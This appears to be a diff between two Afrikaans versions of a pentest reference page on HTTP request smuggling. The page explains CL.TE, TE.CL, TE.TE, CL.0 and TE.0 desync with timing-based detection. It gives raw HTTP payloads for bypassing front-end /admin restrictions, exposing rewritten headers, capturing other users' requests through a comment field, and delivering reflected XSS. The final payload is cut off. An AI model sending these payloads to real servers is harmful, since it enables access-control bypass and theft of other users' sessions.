Dit kan baie krities wees aangesien **'n aanvaller in staat sal wees om een versoek** na die omgekeerde proxy te stuur wat deur die **back-end** bediener **as 2 verskillende versoeke** **geïterpreteer** sal word. Die **gevaar** van hierdie tegniek lê in die feit dat die **back-end** bediener die **2de versoek wat ingesluit is** sal **interpreteer** asof dit **van die volgende kliënt** gekom het en die **werklike versoek** van daardie kliënt sal **deel** wees van die **ingeslote versoek**.
|
Dit kan baie krities wees aangesien **'n aanvaller in staat sal wees om een versoek** na die omgekeerde proxy te stuur wat deur die **back-end** bediener **as 2 verskillende versoeke** **geïntpreteer** sal word. Die **gevaar** van hierdie tegniek lê in die feit dat die **back-end** bediener die **2de versoek wat ingesluit is** sal **interpreteer** asof dit **van die volgende kliënt** **gekom het** en die **werklike versoek** van daardie kliënt sal **deel** wees van die **ingeslote versoek**.
|
||||||
|
|
||||||
### Besonderhede
|
### Besonderhede
|
||||||
|
|
||||||
Onthou dat in HTTP **'n nuwe lyn karakter bestaan uit 2 bytes:**
|
Onthou dat in HTTP **'n nuwe lyn karakter bestaan uit 2 bytes:**
|
||||||
|
|
||||||
* **Content-Length**: Hierdie kopveld gebruik 'n **desimale getal** om die **aantal** van die **bytes** van die **liggaam** van die versoek aan te dui. Die liggaam word verwag om in die laaste karakter te eindig, **'n nuwe lyn is nie nodig aan die einde van die versoek**.
|
* **Content-Length**: Hierdie kopveld gebruik 'n **desimale getal** om die **aantal** **bytes** van die **liggaam** van die versoek aan te dui. Die liggaam word verwag om in die laaste karakter te eindig, **'n nuwe lyn is nie nodig aan die einde van die versoek**.
|
||||||
* **Transfer-Encoding:** Hierdie kopveld gebruik in die **liggaam** 'n **heksadesimale getal** om die **aantal** van die **bytes** van die **volgende stuk** aan te dui. Die **stuk** moet **eindig** met 'n **nuwe lyn** maar hierdie nuwe lyn **word nie getel** deur die lengte-indikator nie. Hierdie oordragmetode moet eindig met 'n **stuk van grootte 0 gevolg deur 2 nuwe lyne**: `0`
|
* **Transfer-Encoding:** Hierdie kopveld gebruik in die **liggaam** 'n **heksadesimale getal** om die **aantal** **bytes** van die **volgende stuk** aan te dui. Die **stuk** moet **eindig** met 'n **nuwe lyn** maar hierdie nuwe lyn **word nie getel** deur die lengte-indikator nie. Hierdie oordragmetode moet eindig met 'n **stuk van grootte 0 gevolg deur 2 nuwe lyne**: `0`
|
||||||
* **Connection**: Gebaseer op my ervaring word dit aanbeveel om **`Connection: keep-alive`** op die eerste versoek van die versoek Smuggling te gebruik.
|
* **Connection**: Gebaseer op my ervaring word dit aanbeveel om **`Connection: keep-alive`** op die eerste versoek van die versoek Smuggling te gebruik.
|
||||||
|
|
||||||
## Basiese Voorbeelde
|
## Basiese Voorbeelde
|
||||||
|
|
||||||
{% hint style="success" %}
|
{% hint style="success" %}
|
||||||
Wanneer jy probeer om dit met Burp Suite te benut, **deaktiveer `Update Content-Length` en `Normalize HTTP/1 line endings`** in die herhaler omdat sommige gadgets nuwe lyne, karakters en verkeerd gevormde content-lengths misbruik.
|
Wanneer jy probeer om dit met Burp Suite te exploiteer **deaktiveer `Update Content-Length` en `Normalize HTTP/1 line endings`** in die herhaler omdat sommige gadgets nuwe lyne, karakters en verkeerd gevormde content-lengths misbruik.
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
HTTP versoek smuggling aanvalle word geskep deur ambigue versoeke te stuur wat verskille in hoe front-end en back-end bedieners die `Content-Length` (CL) en `Transfer-Encoding` (TE) kopvelde interpreteer, benut. Hierdie aanvalle kan in verskillende vorme manifesteer, hoofsaaklik as **CL.TE**, **TE.CL**, en **TE.TE**. Elke tipe verteenwoordig 'n unieke kombinasie van hoe die front-end en back-end bedieners hierdie kopvelde prioriteer. Die kwesbaarhede ontstaan uit die bedieners wat dieselfde versoek op verskillende maniere verwerk, wat lei tot onverwagte en potensieel kwaadwillige uitkomste.
|
HTTP versoek smuggling aanvalle word geskep deur ambigue versoeke te stuur wat verskille in hoe front-end en back-end bedieners die `Content-Length` (CL) en `Transfer-Encoding` (TE) kopvelde interpreteer, exploiteer. Hierdie aanvalle kan in verskillende vorme manifesteer, hoofsaaklik as **CL.TE**, **TE.CL**, en **TE.TE**. Elke tipe verteenwoordig 'n unieke kombinasie van hoe die front-end en back-end bedieners hierdie kopvelde prioriteer. Die kwesbaarhede ontstaan uit die bedieners wat dieselfde versoek op verskillende maniere verwerk, wat lei tot onverwagte en potensieel kwaadwillige uitkomste.
|
||||||
|
|
||||||
### Basiese Voorbeelde van Kwesbaarheidstipes
|
### Basiese Voorbeelde van Kwesbaarheidstipes
|
||||||
|
|
||||||
|
@ -93,7 +101,7 @@ Foo: x
|
||||||
* **Back-End (CL):** Verwerk die versoek gebaseer op die `Content-Length` kopveld.
|
* **Back-End (CL):** Verwerk die versoek gebaseer op die `Content-Length` kopveld.
|
||||||
* **Aanval Scenario:**
|
* **Aanval Scenario:**
|
||||||
* Die aanvaller stuur 'n chunked versoek waar die stuk grootte (`7b`) en werklike inhoud lengte (`Content-Length: 4`) nie ooreenstem nie.
|
* Die aanvaller stuur 'n chunked versoek waar die stuk grootte (`7b`) en werklike inhoud lengte (`Content-Length: 4`) nie ooreenstem nie.
|
||||||
* Die front-end bediener, wat `Transfer-Encoding` eerbiedig, stuur die hele versoek na die back-end.
|
* Die front-end bediener, wat `Transfer-Encoding` eer, stuur die hele versoek na die back-end.
|
||||||
* Die back-end bediener, wat `Content-Length` respekteer, verwerk slegs die aanvanklike deel van die versoek (`7b` bytes), wat die res as deel van 'n onbedoelde daaropvolgende versoek laat.
|
* Die back-end bediener, wat `Content-Length` respekteer, verwerk slegs die aanvanklike deel van die versoek (`7b` bytes), wat die res as deel van 'n onbedoelde daaropvolgende versoek laat.
|
||||||
* **Voorbeeld:**
|
* **Voorbeeld:**
|
||||||
|
|
||||||
|
@ -115,12 +123,12 @@ x=
|
||||||
|
|
||||||
```
|
```
|
||||||
|
|
||||||
#### TE.TE Kwesbaarheid (Transfer-Encoding gebruik deur beide, met obfuskerings)
|
#### TE.TE Kwesbaarheid (Transfer-Encoding gebruik deur beide, met obfuskaasie)
|
||||||
|
|
||||||
* **Bedieners:** Beide ondersteun `Transfer-Encoding`, maar een kan mislei word om dit te ignoreer via obfuskering.
|
* **Bedieners:** Beide ondersteun `Transfer-Encoding`, maar een kan mislei word om dit te ignoreer via obfuskaasie.
|
||||||
* **Aanval Scenario:**
|
* **Aanval Scenario:**
|
||||||
* Die aanvaller stuur 'n versoek met obfuscated `Transfer-Encoding` kopvelde.
|
* Die aanvaller stuur 'n versoek met obfuscated `Transfer-Encoding` kopvelde.
|
||||||
* Afhangende van watter bediener (front-end of back-end) nie die obfuskering herken nie, kan 'n CL.TE of TE.CL kwesbaarheid benut word.
|
* Afhangende van watter bediener (front-end of back-end) nie die obfuskaasie herken nie, kan 'n CL.TE of TE.CL kwesbaarheid geëxploiteer word.
|
||||||
* Die onverwerkte deel van die versoek, soos gesien deur een van die bedieners, word deel van 'n daaropvolgende versoek, wat lei tot smuggling.
|
* Die onverwerkte deel van die versoek, soos gesien deur een van die bedieners, word deel van 'n daaropvolgende versoek, wat lei tot smuggling.
|
||||||
* **Voorbeeld:**
|
* **Voorbeeld:**
|
||||||
|
|
||||||
|
@ -144,7 +152,7 @@ Transfer-Encoding
|
||||||
#### **CL.CL Scenario (Content-Length gebruik deur beide Front-End en Back-End)**
|
#### **CL.CL Scenario (Content-Length gebruik deur beide Front-End en Back-End)**
|
||||||
|
|
||||||
* Beide bedieners verwerk die versoek gebaseer slegs op die `Content-Length` kopveld.
|
* Beide bedieners verwerk die versoek gebaseer slegs op die `Content-Length` kopveld.
|
||||||
* Hierdie scenario lei tipies nie tot smuggling nie, aangesien daar 'n ooreenstemming is in hoe beide bedieners die versoek lengte interpreteer.
|
* Hierdie scenario lei tipies nie tot smuggling nie, aangesien daar ooreenstemming is in hoe beide bedieners die versoeklengte interpreteer.
|
||||||
* **Voorbeeld:**
|
* **Voorbeeld:**
|
||||||
|
|
||||||
```
|
```
|
||||||
|
@ -159,7 +167,7 @@ Normale Versoek
|
||||||
#### **CL.0 Scenario**
|
#### **CL.0 Scenario**
|
||||||
|
|
||||||
* Verwys na scenario's waar die `Content-Length` kopveld teenwoordig is en 'n waarde anders as nul het, wat aandui dat die versoek liggaam inhoud het. Die back-end ignoreer die `Content-Length` kopveld (wat as 0 behandel word), maar die front-end parse dit.
|
* Verwys na scenario's waar die `Content-Length` kopveld teenwoordig is en 'n waarde anders as nul het, wat aandui dat die versoek liggaam inhoud het. Die back-end ignoreer die `Content-Length` kopveld (wat as 0 behandel word), maar die front-end parse dit.
|
||||||
* Dit is belangrik om te verstaan en smuggling aanvalle te skep, aangesien dit beïnvloed hoe bedieners die einde van 'n versoek bepaal.
|
* Dit is van kardinale belang in die begrip en vorming van smuggling aanvalle, aangesien dit beïnvloed hoe bedieners die einde van 'n versoek bepaal.
|
||||||
* **Voorbeeld:**
|
* **Voorbeeld:**
|
||||||
|
|
||||||
```
|
```
|
||||||
|
@ -168,13 +176,13 @@ Host: vulnerable-website.com
|
||||||
Content-Length: 16
|
Content-Length: 16
|
||||||
Connection: keep-alive
|
Connection: keep-alive
|
||||||
|
|
||||||
Nie-lege Liggaam
|
Nie-Empty Liggaam
|
||||||
```
|
```
|
||||||
|
|
||||||
#### TE.0 Scenario
|
#### TE.0 Scenario
|
||||||
|
|
||||||
* Soos die vorige een maar met TE
|
* Soos die vorige een maar met TE
|
||||||
* Tegniek [gerapporteer hier](https://www.bugcrowd.com/blog/unveiling-te-0-http-request-smuggling-discovering-a-critical-vulnerability-in-thousands-of-google-cloud-websites/)
|
* Tegniek [hier gerapporteer](https://www.bugcrowd.com/blog/unveiling-te-0-http-request-smuggling-discovering-a-critical-vulnerability-in-thousands-of-google-cloud-websites/)
|
||||||
* **Voorbeeld**:
|
* **Voorbeeld**:
|
||||||
```
|
```
|
||||||
OPTIONS / HTTP/1.1
|
OPTIONS / HTTP/1.1
|
||||||
|
@ -201,7 +209,7 @@ Byvoorbeeld, soos verduidelik in [**hierdie skrywe**](https://mizu.re/post/twist
|
||||||
|
|
||||||
#### Dwing via hop-by-hop koppe
|
#### Dwing via hop-by-hop koppe
|
||||||
|
|
||||||
Deur hop-by-hop koppe te misbruik, kan jy die proxy aandui om die kop Content-Length of Transfer-Encoding te **verwyder sodat 'n HTTP-versoek smuggling misbruik kan word**.
|
Deur hop-by-hop koppe te misbruik, kan jy die proxy aandui om die kop **Content-Length of Transfer-Encoding te verwyder sodat 'n HTTP-versoek smuggling misbruik kan word**.
|
||||||
```
|
```
|
||||||
Connection: Content-Length
|
Connection: Content-Length
|
||||||
```
|
```
|
||||||
|
@ -213,12 +221,12 @@ For **meer inligting oor hop-by-hop headers** besoek:
|
||||||
|
|
||||||
## Vind HTTP Request Smuggling
|
## Vind HTTP Request Smuggling
|
||||||
|
|
||||||
Die identifisering van HTTP request smuggling kwesbaarhede kan dikwels bereik word deur tydtegnieke, wat staatmaak op die waarneming van hoe lank dit neem vir die bediener om op gemanipuleerde versoeke te reageer. Hierdie tegnieke is veral nuttig om CL.TE en TE.CL kwesbaarhede te ontdek. Benewens hierdie metodes, is daar ander strategieë en gereedskap wat gebruik kan word om sulke kwesbaarhede te vind:
|
Identifisering van HTTP request smuggling kwesbaarhede kan dikwels bereik word deur tydtegnieke, wat staatmaak op die waarneming van hoe lank dit neem vir die bediener om op gemanipuleerde versoeke te reageer. Hierdie tegnieke is veral nuttig om CL.TE en TE.CL kwesbaarhede te ontdek. Benewens hierdie metodes, is daar ander strategieë en gereedskap wat gebruik kan word om sulke kwesbaarhede te vind:
|
||||||
|
|
||||||
### Vind CL.TE Kwesbaarhede Met Tydtegnieke
|
### Vind CL.TE Kwesbaarhede Met Tydtegnieke
|
||||||
|
|
||||||
* **Metode:**
|
* **Metode:**
|
||||||
* Stuur 'n versoek wat, indien die toepassing kwesbaar is, die agtergrondbediener sal dwing om vir addisionele data te wag.
|
* Stuur 'n versoek wat, as die toepassing kwesbaar is, die agtergrondbediener sal dwing om vir addisionele data te wag.
|
||||||
* **Voorbeeld:**
|
* **Voorbeeld:**
|
||||||
|
|
||||||
```
|
```
|
||||||
|
@ -233,16 +241,16 @@ A
|
||||||
0
|
0
|
||||||
```
|
```
|
||||||
* **Waarneming:**
|
* **Waarneming:**
|
||||||
* Die voorgrondbediener verwerk die versoek gebaseer op `Content-Length` en sny die boodskap voortydig af.
|
* Die voorste bediener verwerk die versoek gebaseer op `Content-Length` en sny die boodskap voortydig af.
|
||||||
* Die agtergrondbediener, wat 'n chunked boodskap verwag, wag vir die volgende chunk wat nooit aankom nie, wat 'n vertraging veroorsaak.
|
* Die agtergrondbediener, wat 'n chunked boodskap verwag, wag vir die volgende chunk wat nooit aankom nie, wat 'n vertraging veroorsaak.
|
||||||
* **Aanduiders:**
|
* **Aanwysers:**
|
||||||
* Timeouts of lang vertraging in reaksie.
|
* Timeouts of lang vertraging in reaksie.
|
||||||
* Ontvang 'n 400 Bad Request fout van die agtergrondbediener, soms met gedetailleerde bediener-inligting.
|
* Ontvang 'n 400 Bad Request fout van die agtergrondbediener, soms met gedetailleerde bediener-inligting.
|
||||||
|
|
||||||
### Vind TE.CL Kwesbaarhede Met Tydtegnieke
|
### Vind TE.CL Kwesbaarhede Met Tydtegnieke
|
||||||
|
|
||||||
* **Metode:**
|
* **Metode:**
|
||||||
* Stuur 'n versoek wat, indien die toepassing kwesbaar is, die agtergrondbediener sal dwing om vir addisionele data te wag.
|
* Stuur 'n versoek wat, as die toepassing kwesbaar is, die agtergrondbediener sal dwing om vir addisionele data te wag.
|
||||||
* **Voorbeeld:**
|
* **Voorbeeld:**
|
||||||
|
|
||||||
```
|
```
|
||||||
|
@ -256,7 +264,7 @@ Content-Length: 6
|
||||||
X
|
X
|
||||||
```
|
```
|
||||||
* **Waarneming:**
|
* **Waarneming:**
|
||||||
* Die voorgrondbediener verwerk die versoek gebaseer op `Transfer-Encoding` en stuur die hele boodskap voort.
|
* Die voorste bediener verwerk die versoek gebaseer op `Transfer-Encoding` en stuur die hele boodskap voort.
|
||||||
* Die agtergrondbediener, wat 'n boodskap gebaseer op `Content-Length` verwag, wag vir addisionele data wat nooit aankom nie, wat 'n vertraging veroorsaak.
|
* Die agtergrondbediener, wat 'n boodskap gebaseer op `Content-Length` verwag, wag vir addisionele data wat nooit aankom nie, wat 'n vertraging veroorsaak.
|
||||||
|
|
||||||
### Ander Metodes om Kwesbaarhede te Vind
|
### Ander Metodes om Kwesbaarhede te Vind
|
||||||
|
@ -268,11 +276,11 @@ X
|
||||||
* **Content-Length Variansie Toetse:**
|
* **Content-Length Variansie Toetse:**
|
||||||
* Stuur versoeke met verskillende `Content-Length` waardes wat nie ooreenstem met die werklike inhoudslengte nie en kyk hoe die bediener sulke wanbalanse hanteer.
|
* Stuur versoeke met verskillende `Content-Length` waardes wat nie ooreenstem met die werklike inhoudslengte nie en kyk hoe die bediener sulke wanbalanse hanteer.
|
||||||
* **Transfer-Encoding Variansie Toetse:**
|
* **Transfer-Encoding Variansie Toetse:**
|
||||||
* Stuur versoeke met obfuskeerde of misvormde `Transfer-Encoding` headers en monitor hoe verskillend die voorgrond- en agtergrondbedieners op sulke manipulasies reageer.
|
* Stuur versoeke met obfuskeer of misvormde `Transfer-Encoding` headers en monitor hoe verskillend die voorste en agtergrondbedieners op sulke manipulasies reageer.
|
||||||
|
|
||||||
### HTTP Request Smuggling Kwesbaarheidstoetsing
|
### HTTP Request Smuggling Kwesbaarheidstoetsing
|
||||||
|
|
||||||
Nadat die doeltreffendheid van tydtegnieke bevestig is, is dit noodsaaklik om te verifieer of kliëntversoeke gemanipuleer kan word. 'n Eenvoudige metode is om te probeer om jou versoeke te vergiftig, byvoorbeeld, om 'n versoek na `/` te maak wat 'n 404 reaksie oplewer. Die `CL.TE` en `TE.CL` voorbeelde wat voorheen bespreek is in [Basiese Voorbeelde](./#basic-examples) demonstreer hoe om 'n kliënt se versoek te vergiftig om 'n 404 reaksie uit te lok, ten spyte van die kliënt se poging om toegang tot 'n ander hulpbron te verkry.
|
Nadat die doeltreffendheid van tydtegnieke bevestig is, is dit noodsaaklik om te verifieer of kliënt versoeke gemanipuleer kan word. 'n Eenvoudige metode is om te probeer om jou versoeke te vergiftig, byvoorbeeld, om 'n versoek na `/` te maak wat 'n 404 reaksie oplewer. Die `CL.TE` en `TE.CL` voorbeelde wat voorheen bespreek is in [Basiese Voorbeelde](./#basic-examples) demonstreer hoe om 'n kliënt se versoek te vergiftig om 'n 404 reaksie uit te lok, ten spyte daarvan dat die kliënt poog om toegang tot 'n ander hulpbron te verkry.
|
||||||
|
|
||||||
**Belangrike Oorwegings**
|
**Belangrike Oorwegings**
|
||||||
|
|
||||||
|
@ -280,17 +288,17 @@ Wanneer jy toets vir request smuggling kwesbaarhede deur ander versoeke te beïn
|
||||||
|
|
||||||
* **Verskillende Netwerkverbindinge:** Die "aanval" en "normale" versoeke moet oor verskillende netwerkverbindinge gestuur word. Die gebruik van dieselfde verbinding vir albei valideer nie die kwesbaarheid se teenwoordigheid nie.
|
* **Verskillende Netwerkverbindinge:** Die "aanval" en "normale" versoeke moet oor verskillende netwerkverbindinge gestuur word. Die gebruik van dieselfde verbinding vir albei valideer nie die kwesbaarheid se teenwoordigheid nie.
|
||||||
* **Konstante URL en Parameters:** Probeer om identiese URL's en parametername vir albei versoeke te gebruik. Moderne toepassings lei dikwels versoeke na spesifieke agtergrondbedieners gebaseer op URL en parameters. Ooreenstemming hiervan verhoog die waarskynlikheid dat albei versoeke deur dieselfde bediener verwerk word, 'n voorvereiste vir 'n suksesvolle aanval.
|
* **Konstante URL en Parameters:** Probeer om identiese URL's en parametername vir albei versoeke te gebruik. Moderne toepassings lei dikwels versoeke na spesifieke agtergrondbedieners gebaseer op URL en parameters. Ooreenstemming hiervan verhoog die waarskynlikheid dat albei versoeke deur dieselfde bediener verwerk word, 'n voorvereiste vir 'n suksesvolle aanval.
|
||||||
* **Tyd en Wedrenstoestande:** Die "normale" versoek, wat bedoel is om interferensie van die "aanval" versoek te detecteer, kompeteer teen ander gelyktydige toepassingsversoeke. Stuur dus die "normale" versoek onmiddellik na die "aanval" versoek. Besige toepassings mag verskeie pogings vereis vir beslissende kwesbaarheid bevestiging.
|
* **Tyd en Wedrenstoestande:** Die "normale" versoek, wat bedoel is om interferensie van die "aanval" versoek te ontdek, kompeteer teen ander gelyktydige toepassingsversoeke. Stuur dus die "normale" versoek onmiddellik na die "aanval" versoek. Besige toepassings mag verskeie pogings vereis vir beslissende kwesbaarheid bevestiging.
|
||||||
* **Laai Balansuitdagings:** Voorgrondbedieners wat as laai-balansers optree, mag versoeke oor verskillende agtergrondstelsels versprei. As die "aanval" en "normale" versoeke op verskillende stelsels eindig, sal die aanval nie slaag nie. Hierdie laai-balans aspek mag verskeie pogings vereis om 'n kwesbaarheid te bevestig.
|
* **Laai Balansuitdagings:** Voorste bedieners wat as laai-balansers optree, mag versoeke oor verskillende agtergrondstelsels versprei. As die "aanval" en "normale" versoeke op verskillende stelsels eindig, sal die aanval nie slaag nie. Hierdie laai balanseer aspek mag verskeie pogings vereis om 'n kwesbaarheid te bevestig.
|
||||||
* **Onbedoelde Gebruikerimpak:** As jou aanval per ongeluk 'n ander gebruiker se versoek beïnvloed (nie die "normale" versoek wat jy gestuur het vir detectie nie), dui dit aan dat jou aanval 'n ander toepassingsgebruiker beïnvloed het. Voortdurende toetsing kan ander gebruikers ontwrig, wat 'n versigtige benadering vereis.
|
* **Onbedoelde Gebruikerimpak:** As jou aanval per ongeluk 'n ander gebruiker se versoek beïnvloed (nie die "normale" versoek wat jy gestuur het vir opsporing nie), dui dit aan dat jou aanval 'n ander toepassingsgebruiker beïnvloed het. Voortdurende toetsing kan ander gebruikers ontwrig, wat 'n versigtige benadering vereis.
|
||||||
|
|
||||||
## Misbruik van HTTP Request Smuggling
|
## Misbruik van HTTP Request Smuggling
|
||||||
|
|
||||||
### Om voorgrondsekuriteit te omseil via HTTP Request Smuggling
|
### Om voorste sekuriteit te omseil via HTTP Request Smuggling
|
||||||
|
|
||||||
Soms handhaaf voorgrondproxies sekuriteitsmaatreëls, wat inkomende versoeke ondersoek. Hierdie maatreëls kan egter omseil word deur HTTP Request Smuggling te benut, wat ongeoorloofde toegang tot beperkte eindpunte moontlik maak. Byvoorbeeld, toegang tot `/admin` mag ekstern verbied wees, met die voorgrondproxy wat aktief sulke pogings blokkeer. Nietemin mag hierdie proxy versuim om ingebedde versoeke binne 'n gesmokkelde HTTP versoek te ondersoek, wat 'n leemte laat om hierdie beperkings te omseil.
|
Soms handhaaf voorste proxies sekuriteitsmaatreëls, wat inkomende versoeke ondersoek. Hierdie maatreëls kan egter omseil word deur HTTP Request Smuggling te benut, wat ongeoorloofde toegang tot beperkte eindpunte moontlik maak. Byvoorbeeld, toegang tot `/admin` mag ekstern verbied wees, met die voorste proxy wat aktief sulke pogings blokkeer. Nietemin mag hierdie proxy versuim om ingebedde versoeke binne 'n gesmokkelde HTTP versoek te ondersoek, wat 'n leemte laat om hierdie beperkings te omseil.
|
||||||
|
|
||||||
Oorweeg die volgende voorbeelde wat illustreer hoe HTTP Request Smuggling gebruik kan word om voorgrondsekuriteitsbeheer te omseil, spesifiek teiken die `/admin` pad wat tipies deur die voorgrondproxy beskerm word:
|
Oorweeg die volgende voorbeelde wat illustreer hoe HTTP Request Smuggling gebruik kan word om voorste sekuriteitsbeheermaatreëls te omseil, spesifiek gerig op die `/admin` pad wat tipies deur die voorste proxy beskerm word:
|
||||||
|
|
||||||
**CL.TE Voorbeeld**
|
**CL.TE Voorbeeld**
|
||||||
```
|
```
|
||||||
|
@ -309,7 +317,7 @@ Content-Length: 10
|
||||||
|
|
||||||
x=
|
x=
|
||||||
```
|
```
|
||||||
In die CL.TE-aanval word die `Content-Length` kop vir die aanvanklike versoek benut, terwyl die daaropvolgende ingebedde versoek die `Transfer-Encoding: chunked` kop gebruik. Die front-end proxy verwerk die aanvanklike `POST` versoek, maar slaag nie daarin om die ingebedde `GET /admin` versoek te inspekteer nie, wat ongeoorloofde toegang tot die `/admin` pad toelaat.
|
In die CL.TE-aanval word die `Content-Length` koptekst benut vir die aanvanklike versoek, terwyl die daaropvolgende ingebedde versoek die `Transfer-Encoding: chunked` koptekst gebruik. Die front-end proxy verwerk die aanvanklike `POST` versoek, maar slaag nie daarin om die ingebedde `GET /admin` versoek te inspekteer nie, wat ongeoorloofde toegang tot die `/admin` pad toelaat.
|
||||||
|
|
||||||
**TE.CL Voorbeeld**
|
**TE.CL Voorbeeld**
|
||||||
```
|
```
|
||||||
|
@ -327,13 +335,13 @@ a=x
|
||||||
0
|
0
|
||||||
|
|
||||||
```
|
```
|
||||||
Conversely, in the TE.CL-aanval, die aanvanklike `POST` versoek gebruik `Transfer-Encoding: chunked`, en die daaropvolgende ingebedde versoek word verwerk op grond van die `Content-Length` kop. Soos in die CL.TE-aanval, oorsien die front-end proxy die gesmokkelde `GET /admin` versoek, wat per ongeluk toegang tot die beperkte `/admin` pad verleen.
|
Omgekeerd, in die TE.CL-aanval, gebruik die aanvanklike `POST`-versoek `Transfer-Encoding: chunked`, en die daaropvolgende ingebedde versoek word verwerk op grond van die `Content-Length`-kop. Soos in die CL.TE-aanval, oorsien die front-end proxy die gesmokkelde `GET /admin`-versoek, wat per ongeluk toegang tot die beperkte `/admin`-pad verleen.
|
||||||
|
|
||||||
### Onthulling van front-end versoek herskrywing <a href="#revealing-front-end-request-rewriting" id="revealing-front-end-request-rewriting"></a>
|
### Onthulling van front-end versoek herskrywing <a href="#revealing-front-end-request-rewriting" id="revealing-front-end-request-rewriting"></a>
|
||||||
|
|
||||||
Toepassings gebruik dikwels 'n **front-end bediener** om inkomende versoeke te wysig voordat dit aan die agterkant bediener oorgedra word. 'n Tipiese wysiging behels die toevoeging van koppe, soos `X-Forwarded-For: <IP van die kliënt>`, om die kliënt se IP aan die agterkant oor te dra. Om hierdie wysigings te verstaan, kan van kardinale belang wees, aangesien dit maniere kan onthul om **beskermings te omseil** of **verborgene inligting of eindpunte te ontdek**.
|
Toepassings gebruik dikwels 'n **front-end bediener** om inkomende versoeke te wysig voordat dit aan die agterkant bediener oorgedra word. 'n Tipiese wysiging behels die toevoeging van koppe, soos `X-Forwarded-For: <IP van die kliënt>`, om die kliënt se IP aan die agterkant oor te dra. Om hierdie wysigings te verstaan, kan van kardinale belang wees, aangesien dit maniere kan onthul om **beskermings te omseil** of **verborgene inligting of eindpunte te ontdek**.
|
||||||
|
|
||||||
Om te ondersoek hoe 'n proxy 'n versoek verander, vind 'n POST parameter wat die agterkant in die antwoord weergee. Skep dan 'n versoek, met hierdie parameter laaste, soortgelyk aan die volgende:
|
Om te ondersoek hoe 'n proxy 'n versoek verander, vind 'n POST-parameter wat die agterkant in die antwoord weergee. Skep dan 'n versoek, met hierdie parameter laaste, soortgelyk aan die volgende:
|
||||||
```
|
```
|
||||||
POST / HTTP/1.1
|
POST / HTTP/1.1
|
||||||
Host: vulnerable-website.com
|
Host: vulnerable-website.com
|
||||||
|
@ -352,7 +360,7 @@ search=
|
||||||
```
|
```
|
||||||
In hierdie struktuur word daaropvolgende versoekkomponente bygevoeg na `search=`, wat die parameter is wat in die antwoord weerspieël word. Hierdie weerspieëling sal die koptekste van die daaropvolgende versoek blootstel.
|
In hierdie struktuur word daaropvolgende versoekkomponente bygevoeg na `search=`, wat die parameter is wat in die antwoord weerspieël word. Hierdie weerspieëling sal die koptekste van die daaropvolgende versoek blootstel.
|
||||||
|
|
||||||
Dit is belangrik om die `Content-Length` koptekst van die geneste versoek te belyn met die werklike inhoudslengte. Dit is raadsaam om met 'n klein waarde te begin en geleidelik te verhoog, aangesien 'n te lae waarde die weerspieëlde data sal afsnip, terwyl 'n te hoë waarde die versoek kan laat misluk.
|
Dit is belangrik om die `Content-Length` koptekst van die geneste versoek te belyn met die werklike inhoudslengte. Dit is raadsaam om met 'n klein waarde te begin en geleidelik te verhoog, aangesien 'n te lae waarde die weerspieëlde data sal afsnip, terwyl 'n te hoë waarde die versoek kan laat foutief wees.
|
||||||
|
|
||||||
Hierdie tegniek is ook toepaslik in die konteks van 'n TE.CL kwesbaarheid, maar die versoek moet eindig met `search=\r\n0`. Ongeag die nuwe reël karakters, sal die waardes by die soekparameter gevoeg word.
|
Hierdie tegniek is ook toepaslik in die konteks van 'n TE.CL kwesbaarheid, maar die versoek moet eindig met `search=\r\n0`. Ongeag die nuwe reël karakters, sal die waardes by die soekparameter gevoeg word.
|
||||||
|
|
||||||
|
@ -384,18 +392,18 @@ csrf=gpGAVAbj7pKq7VfFh45CAICeFCnancCM&postId=4&name=asdfghjklo&email=email%40ema
|
||||||
```
|
```
|
||||||
In hierdie scenario is die **comment parameter** bedoel om die inhoud binne 'n pos se kommentaarafdeling op 'n publiek toeganklike bladsy te stoor. Gevolglik sal die inhoud van die daaropvolgende versoek as 'n kommentaar verskyn.
|
In hierdie scenario is die **comment parameter** bedoel om die inhoud binne 'n pos se kommentaarafdeling op 'n publiek toeganklike bladsy te stoor. Gevolglik sal die inhoud van die daaropvolgende versoek as 'n kommentaar verskyn.
|
||||||
|
|
||||||
Hierdie tegniek het egter beperkings. Oor die algemeen vang dit data slegs tot by die parameter-afskeid wat in die gesmugde versoek gebruik word. Vir URL-gecodeerde vormindienings is hierdie afskeid die `&` karakter. Dit beteken dat die gevangenis inhoud van die slagoffer gebruiker se versoek by die eerste `&` sal stop, wat selfs deel van die vrae string kan wees.
|
Hierdie tegniek het egter beperkings. Oor die algemeen vang dit data slegs tot by die parameter-afskeid wat in die gesmugde versoek gebruik word. Vir URL-gecodeerde vormindienings is hierdie afskeid die `&` karakter. Dit beteken dat die gevangenis inhoud van die slagoffer gebruiker se versoek by die eerste `&` sal stop, wat selfs deel van die vrae-string kan wees.
|
||||||
|
|
||||||
Boonop is dit die moeite werd om op te let dat hierdie benadering ook lewensvatbaar is met 'n TE.CL kwesbaarheid. In sulke gevalle moet die versoek eindig met `search=\r\n0`. Ongeag van nuwe reël karakters, sal die waardes by die soekparameter gevoeg word.
|
Boonop is dit die moeite werd om op te let dat hierdie benadering ook lewensvatbaar is met 'n TE.CL kwesbaarheid. In sulke gevalle moet die versoek eindig met `search=\r\n0`. Ongeag van nuwe reël karakters, sal die waardes by die soekparameter gevoeg word.
|
||||||
|
|
||||||
### Gebruik van HTTP versoek gesmugding om weerspieëlde XSS te ontgin
|
### Gebruik van HTTP request smuggling om weerspieëlde XSS te benut
|
||||||
|
|
||||||
HTTP Request Smuggling kan benut word om webblaaie wat kwesbaar is vir **Weerspieëlde XSS** te ontgin, wat beduidende voordele bied:
|
HTTP Request Smuggling kan benut word om webblaaie wat kwesbaar is vir **Weerspieëlde XSS** te exploiteer, wat beduidende voordele bied:
|
||||||
|
|
||||||
* Interaksie met die teiken gebruikers is **nie nodig** nie.
|
* Interaksie met die teiken gebruikers is **nie nodig** nie.
|
||||||
* Dit stel die ontginning van XSS in dele van die versoek wat **normaalweg ontoeganklik** is, soos HTTP versoek koptekste, moontlik.
|
* Dit stel die benutting van XSS in dele van die versoek wat **normaalweg ontoeganklik** is, soos HTTP versoek koptekste, moontlik.
|
||||||
|
|
||||||
In scenario's waar 'n webwerf kwesbaar is vir Weerspieëlde XSS deur die User-Agent koptekst, demonstreer die volgende payload hoe om hierdie kwesbaarheid te ontgin:
|
In scenario's waar 'n webwerf kwesbaar is vir Weerspieëlde XSS deur die User-Agent koptekst, demonstreer die volgende payload hoe om hierdie kwesbaarheid te benut:
|
||||||
```
|
```
|
||||||
POST / HTTP/1.1
|
POST / HTTP/1.1
|
||||||
